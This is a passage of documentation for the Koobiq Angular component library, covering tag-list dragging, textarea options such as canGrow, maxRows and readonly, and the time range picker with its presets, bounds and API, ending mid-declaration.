```ts tag-list-draggable-example.ts
import { moveItemInArray } from '@angular/cdk/drag-drop';
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagEvent, KbqTagListDroppedEvent, KbqTagsModule } from '@koobiq/components/tags';
import { KbqToggleModule } from '@koobiq/components/toggle';

const getTags = () => Array.from({ length: 6 }, (_, id) => ({ id, value: `Draggable tag ${id}` }));

@Component({
    selector: 'tag-list-draggable-example',
    imports: [KbqTagsModule, KbqToggleModule, FormsModule, KbqIconModule],
    template: `
        <kbq-toggle [(ngModel)]="draggable">Draggable</kbq-toggle>

        <kbq-tag-list [draggable]="draggable()" (dropped)="dropped($event)">
            @for (tag of tags(); track tag.id) {
                <kbq-tag [value]="tag.value" (removed)="removed($event)">
                    {{ tag.value }}
                    <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove></i>
                </kbq-tag>
            } @empty {
                <i kbq-icon-button="kbq-arrow-rotate-left_16" [color]="color.ContrastFade" (click)="restart()"></i>
            }
        </kbq-tag-list>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagListDraggableExample {
    protected readonly tags = model(getTags());
    protected readonly draggable = model(true);
    protected readonly color = KbqComponentColors;

    protected dropped({ previousIndex, currentIndex, tag }: KbqTagListDroppedEvent): void {
        moveItemInArray(this.tags(), previousIndex, currentIndex);
        setTimeout(() => tag.focus());
    }

    protected removed(event: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.findIndex(({ value }) => value === event.tag.value);

            tags.splice(index, 1);

            console.log(`Tag #${index} was removed:`, event);

            return tags;
        });
    }

    protected restart(): void {
        this.tags.update(() => getTags());
    }
}
```

#### Keyboard navigation

##### Focus on tag

| Key                | Action                           |
| ------------------ | -------------------------------- |
| ← / →              | Move focus to previous/next tag. |
| Shift + ← / →      | Change the range and move focus. |
| Space              | Select/deselect tag.             |
| Delete / Backspace | Remove tag.                      |
| F2 / Enter         | Start editing.                   |
| Ctrl + A           | Select all tags.                 |
| Home / End         | Move focus to first/last tag.    |

##### Tag editing mode

| Key   | Action          |
| ----- | --------------- |
| Enter | Save changes.   |
| Esc   | Cancel changes. |

### API

The API of `@koobiq/components/tags` is listed under Tag.

## Textarea

- Entry point: `@koobiq/components/textarea`
- NgModule: `KbqTextareaModule`
- Page: https://koobiq.io/en/components/textarea/overview

### Overview

`KbqTextarea` — component for multi-line text input.

**Example: Textarea overview** (`textarea-overview`)

```ts textarea-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTextareaModule } from '@koobiq/components/textarea';

@Component({
    selector: 'textarea-overview-example',
    imports: [KbqTextareaModule],
    template: `
        <kbq-form-field>
            <kbq-label>Label</kbq-label>
            <textarea kbqTextarea placeholder="Placeholder" canGrow="false"></textarea>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-xl layout-row'
    }
})
export class TextareaOverviewExample {}
```

#### Auto-resize

When the `canGrow` attribute is enabled, the text field will automatically adjust its height based on the content.

**Example: Textarea with canGrow attribute** (`textarea-can-grow`)

```ts textarea-can-grow-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqTextareaModule } from '@koobiq/components/textarea';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'textarea-can-grow-example',
    imports: [KbqTextareaModule, KbqToggleModule, FormsModule],
    template: `
        <kbq-toggle class="layout-margin-bottom-m" [(ngModel)]="canGrow">canGrow</kbq-toggle>

        <kbq-form-field>
            <kbq-label>Label</kbq-label>
            <textarea kbqTextarea placeholder="Placeholder" [canGrow]="canGrow()" [(ngModel)]="value"></textarea>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-xl layout-column'
    }
})
export class TextareaCanGrowExample {
    protected readonly canGrow = model(true);
    protected readonly value = model(
        'In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to a network. Denial of service is typically accomplished by flooding the targeted machine or resource with superfluous requests in an attempt to overload systems and prevent some or all legitimate requests from being fulfilled. The range of attacks varies widely, spanning from inundating a server with millions of requests to slow its performance, overwhelming a server with a substantial amount of invalid data, to submitting requests with an illegitimate IP address.'
    );
}
```

#### Maximum number of rows

The `maxRows` attribute limits the maximum number of rows in the text field; when the limit is reached, scrolling appears.

**Example: Textarea with maxRows attribute** (`textarea-max-rows`)

```ts textarea-max-rows-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTextareaModule } from '@koobiq/components/textarea';

@Component({
    selector: 'textarea-max-rows-example',
    imports: [KbqTextareaModule, FormsModule, KbqInputModule],
    template: `
        <kbq-form-field>
            <kbq-label>Label</kbq-label>
            <textarea kbqTextarea placeholder="Placeholder" [maxRows]="5" [(ngModel)]="value"></textarea>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-xl layout-row'
    }
})
export class TextareaMaxRowsExample {
    protected readonly value = model(
        'In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to a network. Denial of service is typically accomplished by flooding the targeted machine or resource with superfluous requests in an attempt to overload systems and prevent some or all legitimate requests from being fulfilled. The range of attacks varies widely, spanning from inundating a server with millions of requests to slow its performance, overwhelming a server with a substantial amount of invalid data, to submitting requests with an illegitimate IP address.'
    );
}
```

#### Disabled state

The field is not available for editing and interaction. Configured using the `disabled` attribute.

**Example: Textarea disabled** (`textarea-disabled`)

```ts textarea-disabled-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqTextareaModule } from '@koobiq/components/textarea';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'textarea-disabled-example',
    imports: [KbqTextareaModule, KbqToggleModule, FormsModule],
    template: `
        <kbq-toggle class="layout-margin-bottom-m" [(ngModel)]="disabled">Disabled</kbq-toggle>

        <kbq-form-field>
            <kbq-label>Label</kbq-label>
            <textarea kbqTextarea placeholder="Placeholder" [disabled]="disabled()"></textarea>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-xl layout-column'
    }
})
export class TextareaDisabledExample {
    protected readonly disabled = model(true);
}
```

#### Error state

Display of the field in an error state for visual indication of invalid data.

**Example: Textarea error state** (`textarea-error-state`)

```ts textarea-error-state-example.ts
import { afterNextRender, ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqTextareaModule } from '@koobiq/components/textarea';

@Component({
    selector: 'textarea-error-state-example',
    imports: [KbqTextareaModule, ReactiveFormsModule],
    template: `
        <kbq-form-field>
            <kbq-label>Label</kbq-label>
            <textarea kbqTextarea placeholder="Placeholder" [formControl]="control"></textarea>
            <kbq-hint>Please enter at least 10 characters</kbq-hint>
            <kbq-error>Minimum 10 characters</kbq-error>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-xl layout-row'
    }
})
export class TextareaErrorStateExample {
    protected readonly control = new FormControl('', [Validators.minLength(10), Validators.required]);

    constructor() {
        afterNextRender(() => {
            this.control.markAsTouched();
            this.control.updateValueAndValidity();
        });
    }
}
```

#### Read-only

In `readonly` mode, the value of the field cannot be changed, but the text can be selected and copied to the clipboard, and the component receives focus.

**Example: Textarea readonly** (`textarea-readonly`)

```ts textarea-readonly-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqTextareaModule } from '@koobiq/components/textarea';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'textarea-readonly-example',
    imports: [KbqTextareaModule, KbqToggleModule, FormsModule],
    template: `
        <kbq-toggle class="layout-margin-bottom-m" [(ngModel)]="readonly">Readonly</kbq-toggle>

        <kbq-form-field>
            <kbq-label>Label</kbq-label>
            <textarea kbqTextarea placeholder="Placeholder" [readonly]="readonly()" [(ngModel)]="value"></textarea>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-xl layout-column'
    }
})
export class TextareaReadonlyExample {
    protected readonly readonly = model(true);
    protected readonly value = model('Text');
}
```

### API

#### Directives

##### KbqTextarea (directive)

```ts
@Directive({ selector: 'textarea[kbqTextarea]', exportAs: 'kbqTextarea' })
class KbqTextarea implements KbqFormFieldControl<any>, CanUpdateErrorState {
    readonly canGrow = input<boolean>(true);
    readonly maxRows = input<number | undefined>();
    readonly errorStateMatcher = input<ErrorStateMatcher>();
    readonly readonly = input<boolean>(false);
    readonly freeRowsHeight = input<number | undefined>();
    readonly ngControl: NgControl | null;
    readonly parentForm: NgForm | null;
    readonly parentFormGroup: FormGroupDirective | null;
    readonly defaultErrorStateMatcher: ErrorStateMatcher;
    readonly errorState: Signal<boolean>;
    readonly maxRowLimitReached: Signal<boolean>;
    updateErrorState(): void;
    focus(): void;
}
```

- `[canGrow]`: `boolean` — Parameter enables or disables the ability to automatically increase the height.
  If set to false, the textarea becomes vertically resizable.
- `[maxRows]`: `number | undefined` — Maximum number of lines to which the textarea will grow. Unlimited when unset.
- `[errorStateMatcher]`: `ErrorStateMatcher` — An object used to control when error messages are shown.
- `[readonly]`: `boolean` — Whether the textarea is read-only: its value can be selected and copied, but not changed. A read-only
  textarea shows no placeholder. Defaults to `false`.
- `[freeRowsHeight]`: `number | undefined` — Distance from the last line to the bottom border. Defaults to a single line height.
- `errorState`: `Signal<boolean>` — Whether the component is in an error state.
- `maxRowLimitReached`: `Signal<boolean>` — Flag that will be set to true when the maximum number of lines is reached.
  Maximum number of rows can be set using the maxRows input.
- `focus()`: `void` — Focuses the textarea.

#### Constants

##### KBQ_TEXTAREA_VALUE_ACCESSOR (const)

```ts
const KBQ_TEXTAREA_VALUE_ACCESSOR: InjectionToken<{ value: any }>;
```

## Time range

- Entry point: `@koobiq/components/time-range`
- NgModule: `KbqTimeRangeModule`
- Page: https://koobiq.io/en/components/time-range/overview

### Overview

Time range selection menu. The user can choose one of the preset values or specify the time range manually.

**Example: Time range overview** (`time-range-overview`)

```ts time-range-overview-example.ts
import { ChangeDetectionStrategy, Component, computed, inject, InjectionToken } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_DATE_LOCALE, KBQ_LOCALE_SERVICE } from '@koobiq/components/core';
import { KbqTimeRange, KbqTimeRangeRange, KbqTimeRangeType } from '@koobiq/components/time-range';
import { of } from 'rxjs';

const ExampleLocalizedData = new InjectionToken<Record<string | 'default', string>>('ExampleLocalizedData', {
    factory: () => ({
        'ru-RU': 'События',
        default: 'Events'
    })
});

@Component({
    selector: 'time-range-overview-example',
    imports: [
        ReactiveFormsModule,
        KbqTimeRange,
        LuxonDateModule
    ],
    template: `
        <span>{{ caption() }}</span>
        <kbq-time-range [formControl]="control" [availableTimeRangeTypes]="availableTimeRangeTypes" />
    `,
    providers: [
        { provide: DateFormatter, deps: [DateAdapter, KBQ_DATE_LOCALE] }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-row layout-align-center-center layout-gap-xxs'
    }
})
export class TimeRangeOverviewExample {
    private readonly data = inject(ExampleLocalizedData);
    private readonly localeId = toSignal(inject(KBQ_LOCALE_SERVICE, { optional: true })?.changes || of(''));

    protected readonly caption = computed(() => this.data[this.localeId() || 'default'] ?? this.data.default);

    protected readonly control = new FormControl<KbqTimeRangeRange>(
        {
            type: 'last5Minutes'
        },
        { nonNullable: true }
    );

    protected readonly availableTimeRangeTypes: KbqTimeRangeType[] = [
        'lastMinute',
        'last5Minutes',
        'last15Minutes',
        'last30Minutes',
        'lastHour',
        'last24Hours',
        'last3Days',
        'last7Days',
        'last14Days',
        'last30Days',
        'last3Months',
        'last12Months',
        'currentQuarter',
        'currentYear',
        'allTime',
        'range'
    ];
}
```

#### Trigger element

The component allows you to customize the trigger element. For example, it can be a button, a field, or a pseudo-link.

**Example: Time range custom trigger** (`time-range-custom-trigger`)

```ts time-range-custom-trigger-example.ts
import { TitleCasePipe } from '@angular/common';
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqButtonModule } from '@koobiq/components/button';
import { DateAdapter, DateFormatter, KBQ_DATE_LOCALE } from '@koobiq/components/core';
import { KbqFormField, KbqSuffix } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTimeRange, KbqTimeRangeRange, KbqTimeRangeTitleAsControl } from '@koobiq/components/time-range';

@Component({
    selector: 'time-range-custom-trigger-example',
    imports: [
        ReactiveFormsModule,
        KbqTimeRange,
        KbqIconModule,
        KbqButtonModule,
        LuxonDateModule,
        KbqFormField,
        KbqSuffix,
        KbqTimeRangeTitleAsControl,
        TitleCasePipe
    ],
    template: `
        <ng-template #titleTemplate let-context>
            <button kbq-button aria-label="time range trigger" [class.kbq-active]="context.popover.isOpen">
                <i kbq-icon="kbq-calendar-o_16"></i>
            </button>
        </ng-template>

        <kbq-time-range [titleTemplate]="titleTemplate" [formControl]="control" [arrow]="false" />

        <ng-template #titleAsFormField let-context>
            <kbq-form-field>
                <kbq-time-range-title-as-control>
                    {{ context.formattedDate[0] | titlecase }}{{ context.formattedDate.slice(1) }}
                </kbq-time-range-title-as-control>
                <i kbq-icon="kbq-chevron-down-s_16" kbqSuffix [color]="'contrast-fade'"></i>
            </kbq-form-field>
        </ng-template>

        <kbq-time-range [titleTemplate]="titleAsFormField" [arrow]="false" [formControl]="control" />
    `,
    providers: [
        { provide: DateFormatter, deps: [DateAdapter, KBQ_DATE_LOCALE] }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-row layout-align-center-center layout-gap-xl'
    }
})
export class TimeRangeCustomTriggerExample {
    protected readonly control = new FormControl<KbqTimeRangeRange | null>(
        {
            type: 'last5Minutes'
        },
        { nonNullable: true }
    );
}
```

##### Trigger inside a field

`kbq-time-range-title-as-control` puts the trigger inside a `kbq-form-field`, so the range gets a label,
a hint and the error styling of a regular field. `kbqTimeRangeTitlePlaceholder` styles the text shown
while there is no value — set `[nonNullable]="false"` for that state to be reachable at all.

**Example: Time range as form field** (`time-range-as-form-field`)

```ts time-range-as-form-field-example.ts
import { TitleCasePipe } from '@angular/common';
import { ChangeDetectionStrategy, Component, computed, inject, InjectionToken } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import { ReactiveFormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_DATE_LOCALE, KBQ_LOCALE_SERVICE } from '@koobiq/components/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTimeRangeModule } from '@koobiq/components/time-range';
import { of } from 'rxjs';

const ExampleLocalizedData = new InjectionToken<Record<string | 'default', string>>('ExampleLocalizedData', {
    factory: () => ({
        'ru-RU': 'Период',
        default: 'Period'
    })
});

@Component({
    selector: 'time-range-as-form-field-example',
    imports: [
        ReactiveFormsModule,
        KbqTimeRangeModule,
        LuxonDateModule,
        KbqIconModule,
        KbqFormFieldModule,
        TitleCasePipe
    ],
    template: `
        <ng-template #titleAsFormField let-context>
            <kbq-form-field>
                <kbq-time-range-title-as-control>
                    @if (!context.type) {
                        <span kbqTimeRangeTitlePlaceholder>{{ placeholder() }}</span>
                    } @else {
                        {{ context.formattedDate[0] | titlecase }}{{ context.formattedDate.slice(1) }}
                    }
                </kbq-time-range-title-as-control>
                <i kbq-icon="kbq-chevron-down-s_16" kbqSuffix [color]="'contrast-fade'"></i>
            </kbq-form-field>
        </ng-template>

        <kbq-time-range [titleTemplate]="titleAsFormField" [arrow]="false" [nonNullable]="false" />
    `,
    providers: [
        { provide: DateFormatter, deps: [DateAdapter, KBQ_DATE_LOCALE] }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-row layout-align-center-center layout-gap-3xl'
    }
})
export class TimeRangeAsFormFieldExample {
    private readonly data = inject(ExampleLocalizedData);
    private readonly localeId = toSignal(inject(KBQ_LOCALE_SERVICE, { optional: true })?.changes || of(''));

    protected readonly placeholder = computed(() => this.data[this.localeId() || 'default'] ?? this.data.default);
}
```

#### Custom presets

When there are no preset values, only the start and end of the period remain in the window.

**Example: Time range empty type list** (`time-range-empty-type-list`)

```ts time-range-empty-type-list-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { ReactiveFormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_DATE_LOCALE } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink, KbqLinkSuffix } from '@koobiq/components/link';
import { KbqTimeRange, KbqTimeRangeType } from '@koobiq/components/time-range';

@Component({
    selector: 'time-range-empty-type-list-example',
    imports: [
        ReactiveFormsModule,
        KbqTimeRange,
        LuxonDateModule,
        KbqLink,
        KbqLinkSuffix,
        KbqIconModule
    ],
    template: `
        <ng-template #titleTemplate let-context>
            <a kbqLink pseudo>
                @if (context.startDateTime && context.endDateTime) {
                    {{
                        dateFormatter.rangeLongDate(
                            dateAdapter.deserialize(context.startDateTime),
                            dateAdapter.deserialize(context.endDateTime)
                        )
                    }}
                } @else {
                    {{ context.formattedDate }}
                }

                <i kbqLinkSuffix kbq-icon="kbq-calendar-o_16"></i>
            </a>
        </ng-template>

        <kbq-time-range [titleTemplate]="titleTemplate" [availableTimeRangeTypes]="availableTimeRangeTypes" />
    `,
    providers: [
        { provide: DateFormatter, deps: [DateAdapter, KBQ_DATE_LOCALE] }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-row layout-align-center-center layout-gap-3xl'
    }
})
export class TimeRangeEmptyTypeListExample {
    protected readonly dateAdapter = inject(DateAdapter);
    protected readonly dateFormatter = inject(DateFormatter);

    protected readonly availableTimeRangeTypes: KbqTimeRangeType[] = [];
}
```

#### Selection restriction

You can configure the minimum and maximum date through `minDate` and `maxDate`.

Both bounds take the time into account, not just the date. If you set `maxDate` to 31 December with no time, midnight is the only choice — to make the whole day available, set the time to 23:59.

The bounds are shown in the picker: next to the "Period" option, or under the "to" field when there are no presets.

**Example: Time range min max** (`time-range-min-max`)

```ts time-range-min-max-example.ts
import { NgTemplateOutlet } from '@angular/common';
import { ChangeDetectionStrategy, Component, computed, inject, InjectionToken } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_DATE_LOCALE, KBQ_LOCALE_SERVICE } from '@koobiq/components/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTimeRangeModule, KbqTimeRangeRange } from '@koobiq/components/time-range';
import { DateTime } from 'luxon';
import { of } from 'rxjs';

type ExampleText = {
    placeholder: string;
    withPresets: string;
    withoutPresets: string;
};

const ExampleLocalizedData = new InjectionToken<Record<string | 'default', ExampleText>>('ExampleLocalizedData', {
    factory: () => ({
        'ru-RU': {
            placeholder: 'Период',
            withPresets: 'С предустановками',
            withoutPresets: 'Без предустановок'
        },
        default: {
            placeholder: 'Period',
            withPresets: 'With presets',
            withoutPresets: 'Without presets'
        }
    })
});

@Component({
    selector: 'time-range-min-max-example',
    imports: [
        NgTemplateOutlet,
        ReactiveFormsModule,
        KbqTimeRangeModule,
        LuxonDateModule,
        KbqIconModule,
        KbqFormFieldModule
    ],
    template: `
        <ng-template #titleValue let-context>
            @if (!context.type) {
                <span kbqTimeRangeTitlePlaceholder>{{ text().placeholder }}</span>
            } @else if (context.type === 'range') {
                {{
                    dateFormatter.rangeLongDate(
                        dateAdapter.deserialize(context.startDateTime),
                        dateAdapter.deserialize(context.endDateTime)
                    )
                }}
            } @else {
                {{ capitalize(context.formattedDate) }}
            }
        </ng-template>

        <ng-template #withPresets let-context>
            <kbq-form-field>
                <kbq-time-range-title-as-control>
                    <ng-container *ngTemplateOutlet="titleValue; context: { $implicit: context }" />
                </kbq-time-range-title-as-control>
                <i kbq-icon="kbq-chevron-down-s_16" kbqSuffix [color]="'contrast-fade'"></i>
                <kbq-hint>{{ text().withPresets }}</kbq-hint>
            </kbq-form-field>
        </ng-template>

        <ng-template #withoutPresets let-context>
            <kbq-form-field>
                <kbq-time-range-title-as-control>
                    <ng-container *ngTemplateOutlet="titleValue; context: { $implicit: context }" />
                </kbq-time-range-title-as-control>
                <i kbq-icon="kbq-chevron-down-s_16" kbqSuffix [color]="'contrast-fade'"></i>
                <kbq-hint>{{ text().withoutPresets }}</kbq-hint>
            </kbq-form-field>
        </ng-template>

        <kbq-time-range
            [titleTemplate]="withPresets"
            [arrow]="false"
            [minDate]="minDate"
            [maxDate]="maxDate"
            [formControl]="control"
        />

        <!-- With the preset list empty the "range" option has no radio button to be captioned under, so
             the bounds move into the hint area of the "to" fieldset instead. -->
        <kbq-time-range
            [titleTemplate]="withoutPresets"
            [arrow]="false"
            [minDate]="minDate"
            [maxDate]="maxDate"
            [nonNullable]="false"
            [availableTimeRangeTypes]="[]"
        />
    `,
    providers: [
        { provide: DateFormatter, deps: [DateAdapter, KBQ_DATE_LOCALE] }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-row layout-align-center-center layout-gap-3xl'
    }
})
export class TimeRangeMinMaxExample {
    protected readonly dateAdapter = inject<DateAdapter<DateTime>>(DateAdapter);
    protected readonly dateFormatter = inject(DateFormatter);

    // Both bounds are exact instants, not whole days: a border is checked once its date and its time are
    // put together, so admitting the whole of 31 December means naming the end of that day.
    protected readonly minDate = this.dateAdapter.createDateTime(2017, 0, 1, 9, 0, 0, 0);
    protected readonly maxDate = this.dateAdapter.createDateTime(2017, 11, 31, 18, 30, 0, 0);

    // A manual range to start on, so that the "range" option is the one selected when the popover opens.
    protected readonly control = new FormControl<KbqTimeRangeRange>(
        {
            type: 'range',
            startDateTime: this.dateAdapter.toIso8601(this.dateAdapter.createDateTime(2017, 5, 1, 9, 0, 0, 0)),
            endDateTime: this.dateAdapter.toIso8601(this.dateAdapter.createDateTime(2017, 5, 15, 18, 0, 0, 0))
        },
        { nonNullable: true }
    );

    private readonly data = inject(ExampleLocalizedData);
    private readonly localeId = toSignal(inject(KBQ_LOCALE_SERVICE, { optional: true })?.changes || of(''));

    protected readonly text = computed(() => this.data[this.localeId() || 'default'] ?? this.data.default);

    protected capitalize(text: string): string {
        return text.charAt(0).toUpperCase() + text.slice(1);
    }
}
```

#### Custom time ranges

The component allows you to set custom time range options.

**Example: Time range custom range types** (`time-range-custom-range-types`)

```ts time-range-custom-range-types-example.ts
import { ChangeDetectionStrategy, Component, computed, inject, InjectionToken } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import { ReactiveFormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_DATE_LOCALE, KBQ_LOCALE_SERVICE } from '@koobiq/components/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import {
    KBQ_CUSTOM_TIME_RANGE_TYPES,
    KBQ_DEFAULT_TIME_RANGE_TYPES,
    KbqCustomTimeRangeType,
    KbqTimeRangeModule,
    KbqTimeRangeTranslationType,
    KbqTimeRangeType,
    KbqTimeRangeUnits
} from '@koobiq/components/time-range';
import { of } from 'rxjs';

const customTypes: KbqCustomTimeRangeType[] = [
    { type: 'last3Minutes', units: { minutes: -3 }, translationType: 'minutes' },
    { type: 'last3Weeks', units: { weeks: -3 }, translationType: 'weeks' },
    { type: 'last3Years', units: { years: -3 }, translationType: 'years' }
];

const customDefaultTypes = [...customTypes.map(({ type }) => type), 'range'] as KbqTimeRangeType[];

const customTypeUnits: Record<string, KbqTimeRangeUnits> = Object.fromEntries(
    customTypes.map(({ type, units }) => [type, units])
);

const customTypeTranslation: Record<string, KbqTimeRangeTranslationType> = Object.fromEntries(
    customTypes.map(({ type, translationType }) => [type, translationType])
);

const ExampleLocalizedData = new InjectionToken<Record<string | 'default', string>>('ExampleLocalizedData', {
    factory: () => ({
        'ru-RU': 'Период',
        default: 'Period'
    })
});

@Component({
    selector: 'time-range-custom-range-types-example',
    imports: [
        ReactiveFormsModule,
        KbqTimeRangeModule,
        LuxonDateModule,
        KbqIconModule,
        KbqFormFieldModule
    ],
    template: `
        <ng-template #customOption let-context>
            {{ optionLabel(context.type) }}
        </ng-template>

        <ng-template #titleAsFormField let-context>
            <kbq-form-field>
                <kbq-time-range-title-as-control>
                    @if (!context.type) {
                        <span kbqTimeRangeTitlePlaceholder>{{ placeholder() }}</span>
                    } @else if (context.type === 'range') {
                        {{
                            dateFormatter.rangeShortDateTime(
                                dateAdapter.deserialize(context.startDateTime),
                                dateAdapter.deserialize(context.endDateTime)
                            )
                        }}
                    } @else {
                        {{ optionLabel(context.type) }}
                    }
                </kbq-time-range-title-as-control>
                <i kbq-icon="kbq-chevron-down-s_16" kbqSuffix [color]="'contrast-fade'"></i>
            </kbq-form-field>
        </ng-template>

        <kbq-time-range
            [titleTemplate]="titleAsFormField"
            [optionTemplate]="customOption"
            [arrow]="false"
            [nonNullable]="false"
        />
    `,
    providers: [
        { provide: DateFormatter, deps: [DateAdapter, KBQ_DATE_LOCALE] },
        { provide: KBQ_CUSTOM_TIME_RANGE_TYPES, useValue: customTypes },
        { provide: KBQ_DEFAULT_TIME_RANGE_TYPES, useValue: customDefaultTypes }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-row layout-align-center-center layout-gap-3xl'
    }
})
export class TimeRangeCustomRangeTypesExample {
    protected readonly dateAdapter = inject(DateAdapter);
    protected readonly dateFormatter = inject(DateFormatter);

    private readonly localeService = inject(KBQ_LOCALE_SERVICE, { optional: true });
    private readonly localeId = toSignal(this.localeService?.changes || of(''));

    private readonly localeConfig = computed(() => {
        this.localeId();

        return this.localeService?.getParams('timeRange');
    });

    private readonly data = inject(ExampleLocalizedData);
    protected readonly placeholder = computed(() => this.data[this.localeId() || 'default'] ?? this.data.default);

    protected optionLabel(type: string): string {
        const localeConfig = this.localeConfig();

        if (!localeConfig) return type;

        const units = customTypeUnits[type];
        const translationType = customTypeTranslation[type];
        const startDate = this.dateAdapter.addCalendarUnits(this.dateAdapter.today(), units);

        return this.dateFormatter.duration(
            startDate,
            this.dateAdapter.today(),
            [translationType as Exclude<KbqTimeRangeTranslationType, 'other'>],
            false,
            localeConfig.durationTemplate.option
        );
    }
}
```

#### Providing presets through DI

The list of options and the options themselves are data, so both can be replaced without touching the
template:

- `KBQ_DEFAULT_TIME_RANGE_TYPES` replaces the default list of options (`defaultTimeRangeTypes`) for
  every `kbq-time-range` below the provider. `[availableTimeRangeTypes]` overrides it per component.
- `KBQ_CUSTOM_TIME_RANGE_TYPES` registers options the built-in list does not have. Each entry carries
  its identifier, its duration (`units`) and the unit its label is formatted in (`translationType`),
  or a fixed `range` instead of a duration.

```ts
providers: [
    {
        provide: KBQ_CUSTOM_TIME_RANGE_TYPES,
        useValue: [{ type: 'last3Weeks', units: { weeks: -3 }, translationType: 'weeks' }]
    },
    { provide: KBQ_DEFAULT_TIME_RANGE_TYPES, useValue: ['lastHour', 'last3Weeks', 'range'] }
];
```

#### Empty value and value correction

`nonNullable` (default `true`) decides what a `null` written through the form control means. While it
is `true`, `null` is replaced with the first available option and the trigger always shows a range;
set it to `false` to let the component hold no value and render the placeholder.

`valueCorrected` fires whenever the component had to change the value it was given — a type that is
not in `availableTimeRangeTypes`, a `range` missing one of its ends, or a `null` under `nonNullable`.
It emits the corrected value so that a host can write it back, and it stays silent when the value is
already the one the component would produce.

The inputs, the output and the defaults they carry are listed on the API tab.

### API

#### Components

##### KbqTimeRange (component)

```ts
@Component({ selector: 'kbq-time-range' })
class KbqTimeRange<T> implements ControlValueAccessor {
    readonly minDate = input<T>();
    readonly maxDate = input<T>();
    readonly defaultRangeValue = input<KbqRangeValue<T>>();
    readonly availableTimeRangeTypes = input<KbqTimeRangeType[]>(
        this.timeRangeService.providedDefaultTimeRangeTypes
    );
    readonly titleTemplate = input<TemplateRef<KbqTimeRangeCustomizableTitleContext>>();
    readonly optionTemplate = input<TemplateRef<KbqTimeRangeOptionContext>>();
    readonly arrow = input<boolean>(true);
    readonly showRangeAsDefault = input<boolean>(true);
    readonly nonNullable = input<boolean>(true);
    readonly valueCorrected = output<KbqTimeRangeRange>();
    readonly value: Signal<KbqTimeRangeRange | null>;
    readonly disabled: Signal<boolean>;
